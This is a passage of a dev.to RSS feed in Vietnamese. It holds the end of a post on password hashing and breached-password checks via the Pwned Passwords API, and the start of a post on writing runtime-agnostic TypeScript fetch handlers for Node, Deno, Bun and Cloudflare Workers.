      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Add-Padding&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;true&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;User-Agent&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-app-password-check&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;hashSuffix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hashSuffix&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;suffix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// API lỗi hoặc timeout: fail-open, log lại để theo dõi&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vài lưu ý khi đưa lên production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Header &lt;code&gt;Add-Padding: true&lt;/code&gt; giúp response có kích thước gần như cố định, người nghe lén traffic không đoán được prefix qua độ dài response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail-open hay fail-closed?&lt;/strong&gt; Mình chọn fail-open (cho đăng ký tiếp nếu API chết), vì đây là lớp phòng thủ bổ sung chứ không phải lớp duy nhất. Hệ thống tài chính có thể chọn ngược lại.&lt;/li&gt;
&lt;li&gt;Nếu không muốn phụ thuộc API bên ngoài, có thể tải toàn bộ dataset về (vài chục GB) và tự host. Với hầu hết dự án vừa và nhỏ thì gọi API là đủ.&lt;/li&gt;
&lt;li&gt;Chỉ check khi &lt;strong&gt;đặt hoặc đổi&lt;/strong&gt; password, không check mỗi lần login.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4. Những thứ nhỏ nhưng hay bị quên
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Độ dài tối thiểu:&lt;/strong&gt; NIST rev 4 yêu cầu tối thiểu 8 ký tự, và 15 nếu password là yếu tố xác thực duy nhất. Tối đa nên cho ít nhất 64 ký tự để user dùng passphrase hoặc password manager thoải mái.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Không truncate, không cấm paste.&lt;/strong&gt; Cấm paste thì user chỉ còn cách gõ password ngắn và dễ nhớ.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log:&lt;/strong&gt; grep thử log của bạn với từ khoá &lt;code&gt;password&lt;/code&gt;. Mình từng thấy request body chứa password nằm nguyên trong log ELK.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;So sánh constant-time:&lt;/strong&gt; thư viện Argon2 đã lo phần này, đừng tự viết &lt;code&gt;hash == stored&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MFA&lt;/strong&gt; cho admin panel là bắt buộc. Password tốt đến đâu cũng có thể bị phishing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Vụ &lt;code&gt;123456&lt;/code&gt; ở Đan Mạch không phải lỗi của một user, mà là lỗi của hệ thống đã chấp nhận nó. Checklist mình áp dụng cho mọi dự án:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Hash bằng Argon2id&lt;/strong&gt; với tối thiểu &lt;code&gt;m=19456, t=2, p=1&lt;/code&gt;, benchmark trên máy production để mỗi lần hash mất 200–500ms.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bật &lt;code&gt;check_needs_rehash&lt;/code&gt;&lt;/strong&gt; để nâng tham số dần mà không cần migration lớn.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hash cũ (MD5/SHA)?&lt;/strong&gt; Bọc ngay bằng Argon2id trong một batch job, sau đó nâng cấp dần khi user login.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bỏ composition rules&lt;/strong&gt;, thay bằng check Pwned Passwords qua k-anonymity khi đăng ký và đổi password.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate limit login endpoint, bật MFA cho admin, và grep log&lt;/strong&gt; tìm password bị lộ.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Tất cả gom lại chưa tới 100 dòng code, làm trong một buổi chiều là xong. Rẻ hơn rất nhiều so với việc tên công ty bạn lên top HN vì một vụ breach.&lt;/p&gt;

</description>
      <category>security</category>
      <category>authentication</category>
      <category>python</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Write Once, Run on Any Runtime: Practical Runtime-Agnostic TypeScript for Node, Deno, Bun and Cloudflare Workers</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Fri, 09 Oct 2026 22:08:40 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/write-once-run-on-any-runtime-practical-runtime-agnostic-typescript-for-node-deno-bun-and-4g68</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/write-once-run-on-any-runtime-practical-runtime-agnostic-typescript-for-node-deno-bun-and-4g68</guid>
      <description>&lt;p&gt;Tin Cloudflare mua lại Deno đang leo top Hacker News, và phần bình luận chia làm hai phe: một phe mừng vì Deno có "nhà giàu" chống lưng, phe kia lo bị vendor lock-in. Mình thấy câu hỏi thực tế hơn cho dev là: &lt;strong&gt;nếu ngày mai runtime bạn đang dùng đổi chủ, đổi giá hoặc đổi hướng đi, code của bạn mất bao lâu để chuyển sang chỗ khác?&lt;/strong&gt; Với nhiều team mình từng làm cùng, câu trả lời là "vài tuần", vì &lt;code&gt;process.env&lt;/code&gt;, &lt;code&gt;fs&lt;/code&gt;, &lt;code&gt;Buffer&lt;/code&gt; và &lt;code&gt;req.body&lt;/code&gt; của Express nằm rải rác khắp codebase. Bài này chia sẻ cách mình viết TypeScript backend để cùng một core chạy được trên Node.js 22/24, Deno 2.x, Bun 1.2+ và Cloudflare Workers mà gần như không phải sửa gì.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nền tảng chung: Web Standard APIs
&lt;/h2&gt;

&lt;p&gt;Vài năm trước, mỗi runtime có một API riêng. Bây giờ thì khác: nhờ nhóm WinterTC (trước đây là WinterCG), cả bốn runtime đều hỗ trợ một tập API chung:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Request&lt;/code&gt;, &lt;code&gt;Response&lt;/code&gt;, &lt;code&gt;Headers&lt;/code&gt;, &lt;code&gt;fetch&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;URL&lt;/code&gt;, &lt;code&gt;URLSearchParams&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ReadableStream&lt;/code&gt;, &lt;code&gt;TextEncoder&lt;/code&gt;/&lt;code&gt;TextDecoder&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;crypto.subtle&lt;/code&gt;, &lt;code&gt;crypto.randomUUID()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;structuredClone&lt;/code&gt;, &lt;code&gt;AbortController&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vậy nguyên tắc đầu tiên rất đơn giản: &lt;strong&gt;business logic chỉ được dùng Web Standard APIs&lt;/strong&gt;. Code nào cần đến &lt;code&gt;node:fs&lt;/code&gt;, &lt;code&gt;Deno.env&lt;/code&gt; hay &lt;code&gt;env.MY_KV&lt;/code&gt; thì đẩy ra ngoài rìa, vào một lớp adapter mỏng.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;graph TD
    A[Core: fetch handler + business logic] --&amp;gt; B[Web Standard APIs]
    C[entry.node.ts] --&amp;gt; A
    D[entry.deno.ts] --&amp;gt; A
    E[entry.bun.ts] --&amp;gt; A
    F[entry.worker.ts] --&amp;gt; A
    G[Config / Storage interface] --&amp;gt; A&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Core không biết nó đang chạy ở đâu. Mỗi file entry chỉ dài 5-15 dòng, làm đúng một việc: đọc config của runtime đó rồi truyền vào core.&lt;/p&gt;

&lt;h2&gt;
  
  
  Viết core dưới dạng fetch handler
&lt;/h2&gt;

&lt;p&gt;Thay vì &lt;code&gt;(req, res) =&amp;gt; {}&lt;/code&gt; kiểu Express, ta viết một hàm nhận &lt;code&gt;Request&lt;/code&gt; và trả về &lt;code&gt;Promise&amp;lt;Response&amp;gt;&lt;/code&gt;. Đây là "hợp đồng" chung mà runtime nào cũng hiểu.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/core/app.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;AppDeps&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dev&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;prod&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="nl"&gt;store&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;KeyValueStore&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;KeyValueStore&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ttlSec&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SHA-256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;padStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;0&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createApp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AppDeps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pathname&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/health&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;deps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pathname&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/shorten&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;link&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;link&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;deps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;short&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;201&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;deps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Not found&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



